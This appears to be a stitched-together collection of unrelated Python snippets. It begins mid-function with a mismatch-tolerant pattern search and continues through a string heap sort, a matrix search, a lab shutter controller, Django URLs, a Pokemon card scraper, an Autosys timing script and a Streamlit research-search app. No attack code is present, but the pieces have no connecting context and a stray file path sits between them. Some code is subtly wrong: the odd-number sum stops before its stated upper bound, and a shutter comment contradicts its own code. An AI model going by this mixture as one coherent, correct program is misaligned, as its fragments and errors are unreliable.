    pattern_length = len(pattern)
    partitions = get_partitions(pattern, 2)
    result = []
    for i, j in partitions:
        ps = pattern[i:j]
        hits = zbox_search(text, ps)
        for h in hits:
            mismatch = 0
            # verify string segment before partition
            if i > 0:
                for k in range(i):
                    if text[h-i+k] != pattern[k]:
                        mismatch += 1
            # verify string segment after partition
            if j < pattern_length:
                for k in range(j, pattern_length):
                    if pattern[k] != text[h+k]:
                        mismatch += 1
            if mismatch < 2:
                result.append((h-i, mismatch))

    result = list(set(result))
    result.sort(key=lambda x: x[0])
    for i, mis in result:
        print(i+1, mis)


import sys
import heapq
input = sys.stdin.readline

'''
알파벳끼리는 AaBb ... 의 대소관계를 가짐 (A가 가장 작음)
모든 숫자는 알파벳보다 작음
숫자들끼리는 작은 숫자가 작음
같은 값의 숫자라면 앞의 0이 적은 것이 작음 (12 < 00012)
'''

def make_tuple(word):
    result = []
    t = 0
    numlen = 0

    for w in word:
        # 문자
        if 65 <= ord(w) <= 90 or 97 <= ord(w) <= 122:
            if numlen:
                result.append((1, t, numlen))
                t = 0
                numlen = 0
            result.append((2, (ord(w) - 65) * 2) if 65 <= ord(w) <= 90 else (2, (ord(w) - 97) * 2 + 1))

        # 숫자
        else:
            t *= 10
            t += int(w)
            numlen += 1

    # 남아 있는 숫자가 있을 경우 (문자열이 숫자로 끝났을 경우) 나머지 처리
    if numlen:
        result.append((1, t, numlen))

    return tuple(result)

def restore_tuple(word):
    # 튜플 형태로 저장된 값을 다시 문자열로 원상복구
    result = ""

    for tup in word:
        if tup[0] == 1: # 숫자
            result += str(tup[1]).zfill(tup[2])
        else: # 문자
            if tup[1] % 2: # 홀수 => 소문자.
                result += chr(int((tup[1] - 1) / 2) + 97)
            else:
                result += chr(int(tup[1] / 2) + 65)

    return result

n = int(input())
words = []
heap = []

for _ in range(n):
    heapq.heappush(heap, make_tuple(input().rstrip()))

for _ in range(n):
    print(restore_tuple(heapq.heappop(heap)))


# Search in row wise and column wise sorted matrix

def search(matrix, target):

    i = 0
    j = len(matrix) - 1

    while ( i < len(matrix) and j >= 0 ):

        if (matrix[i][j] == target):
            return (i, j)

        if (matrix[i][j] > target):
            j -= 1

        else:
            i += 1

    return -1

matrix = [[10, 20, 30, 40], [15, 25, 35, 45],[27, 29, 37, 48],[32, 33, 39, 50]]
print(search(matrix, 15))

Arrays and matrixes/Search in a sorted matrix.py


import time

from devcontroller.misc.thread import CountdownThread
from devcontroller.misc.logger import LoggerFactory
from devcontroller.misc.error import ExecutionError

from e21_util.interface import Loggable
from e21_util.serial_connection import SerialTimeoutException
from e21_util.retry import retry

from trinamic_pd110.driver import TrinamicPD110Driver, Parameter

class ShutterController(Loggable):
    DOC = """
        ShutterController - Controls the Trinamic PD 110 Shutter.

        Usage:
            timer(self._timer [s]): opens the shutter, waits self._timer, closes shutter
            move(deg [degree]): moves the shutter for deg degree
            stop(): stops current movement
            open(), close(): opens/closes the shutter
            init(): Initializes the shutter to find the correct starting position
            reset(): Resets the shutter to the starting position (open() is then possible)
    """

    STATUS_UNKNOWN = 0
    STATUS_OPEN = 1
    STATUS_CLOSED = 2
    STATUS_CLOSED_RESET_REQUIRED = 3

    STEP_ANGLE = 1.8  # 1.8 degree per full step

    def __init__(self, shutter, logger, timer=None):
        super(ShutterController, self).__init__(logger)
        assert isinstance(shutter, TrinamicPD110Driver)

        self._status = self.STATUS_UNKNOWN

        if timer is None:
            timer = time

        self._timer = timer

        self._driver = shutter

        self.countdown_thread = None

        self.initialize()

        print(self.DOC)

    @retry()
    def is_on(self):
        response = self._driver.stop()
        return response.is_successful()

    def initialize(self, accel=100, speed=100):
        self._driver.set_axis_parameter(Parameter.Axis.MAX_ACCELERATION, accel)
        self._driver.set_axis_parameter(Parameter.Axis.MAX_POSITIONING_SPEED, speed)

    def get_driver(self):
        return self._driver

    @retry()
    def stop(self):
        self._driver.stop()

    def set_closed(self):
        self._status = self.STATUS_CLOSED

    def reset(self):
        self.stop()
        self._timer.sleep(0.3)
        self.initialize(10, 10)
        self._timer.sleep(0.3)
        self.move(49)
        self._status = self.STATUS_CLOSED
        self._timer.sleep(7)
        self.initialize()

    def init(self):
        print("moving shutter to the leftmost position ...")
        self.initialize(10, 10)
        self._timer.sleep(0.3)
        self.move(-75)
        self._timer.sleep(10)
        self.move(49)
        self._timer.sleep(7)
        self.initialize()
        print("done.")
        self._status = self.STATUS_CLOSED

    def move(self, degree):
        full_steps_for_full_rotation = 360.0 / self.STEP_ANGLE

        # assuming motor is set to 1/64 micro steps
        full_rotation = full_steps_for_full_rotation * 64.0

        try:
            self._driver.move(int(float(degree) / 360.0 * full_rotation))
        except SerialTimeoutException:
            # It happens kind of often that the device does not respond
            # but it still moves ...
            pass

    def countdown(self, t):
        thread = CountdownThread()
        thread.set_time(t)
        thread.daemon = True
        thread.start()
        self.countdown_thread = thread

    def open(self):
        if self._status == self.STATUS_OPEN:
            return

        if self._status == self.STATUS_CLOSED_RESET_REQUIRED:
            self.move(27)

        if self._status == self.STATUS_CLOSED:
            self.move(-25)

        if self._status == self.STATUS_UNKNOWN:
            raise RuntimeError("Cannot open shutter. Shutter is in unknown position")

        self._status = self.STATUS_OPEN

    def close(self):
        if self._status == self.STATUS_OPEN:
            self.move(-23)
            self._status = self.STATUS_CLOSED_RESET_REQUIRED
            self._timer.sleep(0.3)

        if self._status == self.STATUS_CLOSED_RESET_REQUIRED:
            return

        if self._status == self.STATUS_CLOSED:
            return

        raise RuntimeError("Cannot close shutter. Shutter is in unknown position")

    def timer(self, time_sec):

        if not self._status == self.STATUS_CLOSED:
            raise RuntimeError("Shutter is currently not closed!")

        if time_sec < 0.3:
            raise RuntimeError("Cannot sputter for less than 0.3 seconds")

        # 0.4 seconds, since this is the self._timer the shutter needs to open and close.
        time_sec = time_sec - 0.2

        try:
            self.countdown(time_sec)

            try:
                self.move(-25)
                self._status = self.STATUS_OPEN
            except KeyboardInterrupt:
                raise
            except Exception:
                self._logger.exception("Received exception while opening")
                raise ExecutionError("Could not open shutter")

            self._timer.sleep(time_sec)
        except KeyboardInterrupt:
            if not self.countdown_thread is None:
                self.countdown_thread.stop()

        try:
            self.move(-23)
            self._status = self.STATUS_CLOSED_RESET_REQUIRED
            # wait one second until the shutter is closed
            self._timer.sleep(1)
        except Exception:
            self._logger.exception("Received exception while closing")
            raise ExecutionError("Could not close shutter")

        self._logger.info("Sputtered for %s seconds.", str(time_sec))


from django.conf.urls import patterns, include, url
from django.contrib import admin

urlpatterns = patterns('',
    # Examples:
    # url(r'^$', 'books_of_shika.views.home', name='home'),
    # url(r'^blog/', include('blog.urls')),

    url(r'^$', 'shika.views.home', name='shika'),
    url(r'^shika/', include('shika.urls', namespace="shika")),
    url(r'^admin/', include(admin.site.urls)),
    url(r'^accounts/login/$', 'django.contrib.auth.views.login'),
    url(r'^accounts/logout/$', 'shika.views.logout_view', name='shika'),
)


import os
from dotenv import load_dotenv
import time
import hashlib

from pokemontcgsdk import Card
from pokemontcgsdk import Set
from pokemontcgsdk import Type
from pokemontcgsdk import Supertype
from pokemontcgsdk import Subtype
from pokemontcgsdk import Rarity

load_dotenv()
API_KEY = os.getenv('API_KEY')

from pokemontcgsdk import RestClient
RestClient.configure(API_KEY)

def get_sets():
    global all_sets

    sets = Set.all()
    all_sets = []

    for set in sets:
        raw_set = str(set).replace('Set', '').replace('=', '').replace('(', '').replace(')', '').replace("'",'').split(',')
        if(raw_set[5] == ' standardLegal'):
            format = 'standard'
        elif(raw_set[4] == ' expandedLegal'):
            format = 'expanded'
        else:
            format = 'unlimited'

        this_set = {
            'id' : raw_set[8].replace('ptcgoCode','').replace(' ', '', 1),
            'name' : raw_set[6].replace('name', '').replace(' ', '', 1),
            'format' : format,
            'size' : int(raw_set[-2].replace('total', '')),
            'req_id' : raw_set[0].replace('id', '').replace(' ', '', 1),
            'cards' : []
        }

        all_sets.append(this_set)

def req_format(format):
    global all_sets

    standard_sets = []
    expanded_sets = []
    unlimited_sets = []
    for x in all_sets:
        if (x['format'] == 'standard'):
            standard_sets.append(x)
        if (x['format'] == 'expanded'):
            expanded_sets.append(x)
        if (x['format'] == 'unlimited'):
            unlimited_sets.append(x)

    if format == 'standard':
        return standard_sets
    if format == 'expanded':
        return expanded_sets
    if format == 'unlimited':
        return unlimited_sets
    if format == 'relevant' or format == "modern":
        return standard_sets + expanded_sets
    else:
        return all_sets

def strip_card(raw_card, count, set_id):
    raw_card = raw_card.replace('Set', '').replace('=', '').replace('(', '').replace(')', '').replace("'",'').split(',')
    names = []
    for item in raw_card:

        num = count
        set = set_id

        if 'supertypePokémon' in item or 'supertypePokemon' in item:
            super_type = 'pokemon'

        if 'supertypeTrainer' in item:
            super_type = 'trainer'
        if 'supertypeEnergy' in item:
            super_type = 'energy'

        if(' name' in item):
            #should return card name and full set name
            names.append(item.replace('name', '').replace('"', '').replace(' ', '', 1))

        if(' subtypes' in item):
            #such as basic, stage 2, plasma
            sub_type = item.replace('subtypes[', '').replace("]", '').replace(' ', '', 1)

        if 'types[' in item:
            #such ass grass fire water
            type = item.replace('types[', '').replace("]", '').replace(' ', '', 1)

        if ' largehttps://' in item:
            image = item.replace('large', '').replace("]", '').replace(' ', '', 1)

    if('text' in names[0]):
        names[0] = names[1]
        try:
            if('flavortext' in names[0]):
                names[0] = names[2]
        except:
            names[0] = '?'

    if(len(names[0]) > 50):
        names[0] = '?'

    if(super_type == 'energy'):
        sub_type = sub_type+' Energy'

    hash = hash_card(image, names[0], set, num)

    if(super_type == 'pokemon'):
        this_card = {
        'name' : names[0],
        'subtype' : sub_type,
        'type' : type,
        'supertype' : super_type,
        'setname' : names[1],
        'set' : set,
        'num' : num,
        'image' : image,
        'hash' : hash
        }
    if(super_type == 'trainer'):
        this_card = {
        'name' : names[0],
        'subtype' : sub_type,
        'supertype' : super_type,
        'setname' : names[1],
        'set' : set,
        'num' : num,
        'image' : image,
        'hash' : hash
        }
    if(super_type == 'energy'):
        this_card = {
        'name' : names[0],
        'subtype' : sub_type,
        'supertype' : super_type,
        'setname' : names[1],
        'set' : set,
        'num' : num,
        'image' : image,
        'hash' : hash
        }

    return this_card

def get_cards(format):
    get_sets()
    sets = req_format(format)

    check_path()
    h = open('archive/cards/hashed_cards.txt', "r")
    check = h.read().splitlines()
    h.close()

    for set in sets:
        print(set['name'])
        count = 1

        for card in range(set['size']):
            try:
                req = str(set['req_id'] + '-' + str(count))
                raw_card = str(Card.find(req))

                card = strip_card(raw_card, count, set['id'])

                if(card['hash'] in check):
                    print('found redundant card | skipping set')
                    break

                save_card(card)
                print(set['id'], count,"| saved to", card['supertype'],"|", card['hash'], "|", card['name'])

                count +=1
            except:
                print("req error | probaly a promo set")
                time.sleep(2)
                break

        print()

def hash_card(image, name, set, num):
    #create a hash for a unique card instance
    pre = image + name + set + str(num)
    return hashlib.sha1(str.encode(pre)).hexdigest()[0:10]

def check_path():
    dir = os.getcwd() + '/archive/cards'
    sub = '/hashed_cards.txt'

    if(os.path.exists(dir+sub)):
        print("found existing cards archive")
    else:
        try:
            os.makedirs(dir)
            print("created cards dir")
        except:
            print('creating hashed_cards.txt')
        open(dir+sub, "w")

def save_card(card):
    name = card['name']
    subtype = card['subtype']
    supertype = card['supertype']
    setname =  card['setname']
    set = card['set']
    num = str(card['num'])
    image = card['image']
    hash = card['hash']
    try:
        type = card['type']
    except:
        type = 'null type'

    this_card = [name, subtype, type, supertype, setname, set, num, image, hash, '***']

    f = open('archive/cards/'+supertype+'_cards.txt', "a")

    for item in this_card:
        try:
            f.write(item+'\n')
        except:
            f.write('?\n')

    f.close()

    h = open('archive/cards/hashed_cards.txt', "a")
    h.write(str(hash)+'\n')
    h.close()

#get_cards('standard')


def mystery(s):
    ''' (str) -> str
    '''
    i  = 0
    res = ''

    while not s[i].isdigit():
        res += s[i]
        i += 1

    return res

print(mystery('s1'))
#print(mystery('s'))

# calculate the sum of all odd numbers from 1523 to 10503

result = 0
for i in range(1523, 10503):
    if i % 2 != 0:
        result += i

print(result)


import subprocess
import re
from datetime import datetime

# Define the job name to retrieve
job_name = "my_autosys_job"

# Construct the command to query the Autosys database
command = f"autorep -J {job_name} -r"

# Execute the command and capture the output
output = subprocess.check_output(command, shell=True, text=True)

# Use regular expressions to extract the begin and end times from the output
begin_match = re.search(r"^\s*Start Time:\s+(.*)$", output, re.MULTILINE)
end_match = re.search(r"^\s*End Time:\s+(.*)$", output, re.MULTILINE)

# Convert the begin and end times to datetime objects
begin_time = datetime.strptime(begin_match.group(1), "%m/%d/%Y %I:%M:%S %p")
end_time = datetime.strptime(end_match.group(1), "%m/%d/%Y %I:%M:%S %p")

# Calculate the time difference between the begin and end times
time_difference = end_time - begin_time

# Print the results
print(f"Begin Time: {begin_time}")
print(f"End Time: {end_time}")
print(f"Time Difference: {time_difference}")


# Importing necessary packages
import json
import numpy as np
from sklearn.metrics.pairwise import cosine_similarity
import streamlit as st  # for  deployment
import nltk
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize
from nltk.stem import PorterStemmer
nltk.download('stopwords')
nltk.download("punkt")
ps = PorterStemmer()
sw = stopwords.words('english')

def text_preprocessing(doc):
    """Cleaning the query"""
    tokens = word_tokenize(doc)
    tmp = ""
    for w in tokens:
        if w.isalpha():
            w = w.lower()
            if w not in sw:
                tmp += ps.stem(w)+" "
    return tmp

# with open('publications.json', 'r') as f:
#     pub = json.load(f)
# with open('corpus.json', 'r') as c:
#     corpus = json.load(c)
def main():

    with open('publications.json', 'r') as f:
        pub = json.load(f)
    with open('corpus.json', 'r') as c:
        corpus = json.load(c)

    st.title('Coventry Research Search')

    query = st.text_input('Query:')
    query_lower = query.lower().split()
    incl_abs = False
    if st.checkbox("Display Abstract"):
        incl_abs = True

    toggle_state = st.radio("Search Method", options=["TfIdf Score Method", "Vector Space Model"])

    if toggle_state == "TfIdf Score Method":
        method= "tfidf"
    else:
        method = "vsm"

    if st.button("Search"):
        filtered_query = text_preprocessing(query)
        query_docs = {}
        q_df = {}
        all_docs = set()
        query_tf = {}
        keep_going = False
        for q in filtered_query.split():
            if q in corpus:
                query_docs[q] = corpus[q]
                q_df[q] = len(corpus[q])
                all_docs = all_docs.union(set(query_docs[q].keys()))
                keep_going = True
                if q in query_tf:
                    query_tf[q] += 1  # term frequency of a word in the query
                else:
                    query_tf[q] = 1
        all_docs=list(all_docs)
        n = len(all_docs)
        if keep_going:
            if method =="tfidf": # For tfidf Score method
                tf_idf = {}
                for q, docs in query_docs.items():
                    df = len(query_docs[q])
                    for d, tf in docs.items():
                        if d in tf_idf:
                            tf_idf[d] += tf * n / df
                        else:
                            tf_idf[d] = tf * n / df
                sorted_docs = sorted(tf_idf, key=lambda x: tf_idf[x]*-1)

            elif method =="vsm": # For Vector Space model
                tfidf_vectors = {}
                vector_dimension = len(query_docs)
                for idx in all_docs:
                    tfidf_vectors[idx] = np.zeros(vector_dimension)
                w_idx = 0
                for qw, docs in query_docs.items():
                    for idx, tf in docs.items():
                        tfidf_vectors[idx][w_idx] = tf * n / q_df[qw]
                    w_idx += 1
                query_vector = np.zeros(vector_dimension)
                w_idx = 0
                for qw, tf in query_tf.items():
                    query_vector[w_idx] = tf * n / q_df[qw]
                    w_idx += 1
                cos_similarity = {}
                for d, v in tfidf_vectors.items():
                    cos_similarity[d] = cosine_similarity(query_vector.reshape(1, -1), v.reshape(1, -1))
                print(cos_similarity)
                sorted_docs = sorted(cos_similarity, key=lambda x: cos_similarity[x] * -1)

            if len(sorted_docs) > 10:
                sorted_docs = sorted_docs[:10]
            print(sorted_docs)
            with st.container():
                for j in sorted_docs:
                    i = int(j)
                    title = pub[i]["Title"]
                    st.subheader(title)
                    pub_year = "Published Year: " + str(pub[i]["Year"]) +\
                           "        Journal: " +\
                           (str(pub[i]['Journal']) if 'Journal' in pub[i] else "")
                    st.write(pub_year)
                    link = pub[i]["Link"]
                    st.markdown(link)
                    if incl_abs:
                        string = str(pub[i]['Abstract']) if 'Abstract' in pub[i] else ""
                        if string != "":
                            string_wp = string.replace("(", "").replace(")", "").replace(",","")
                            string_lower = string_wp.lower().split()
                            string_list = string_wp.split()
                            for qry in query_lower:
                                for in_w in range(len(string_lower)):
                                    if qry == string_lower[in_w]:
                                        replace_word = string_list[in_w]
                                        if replace_word != "" and replace_word not in sw:
                                        # To bold the query words  in  the abstract
                                            string = string.replace(replace_word, "**" + replace_word + "**")

                            st.markdown(string)

                    st.text("Authors:")
                    at = ''
                    for a in pub[i]["Author"]:
                        if "Alink" in a:
                            atl = a["Name"]+" "+a["Alink"]
                            st.markdown(atl)
                        else:
                            at += a["Name"]+" ; "
                    if at != '':
                        st.markdown(at)
        else:
            st.text("Sorry no results!!  Try a different query ")

if __name__ == '__main__':
    main()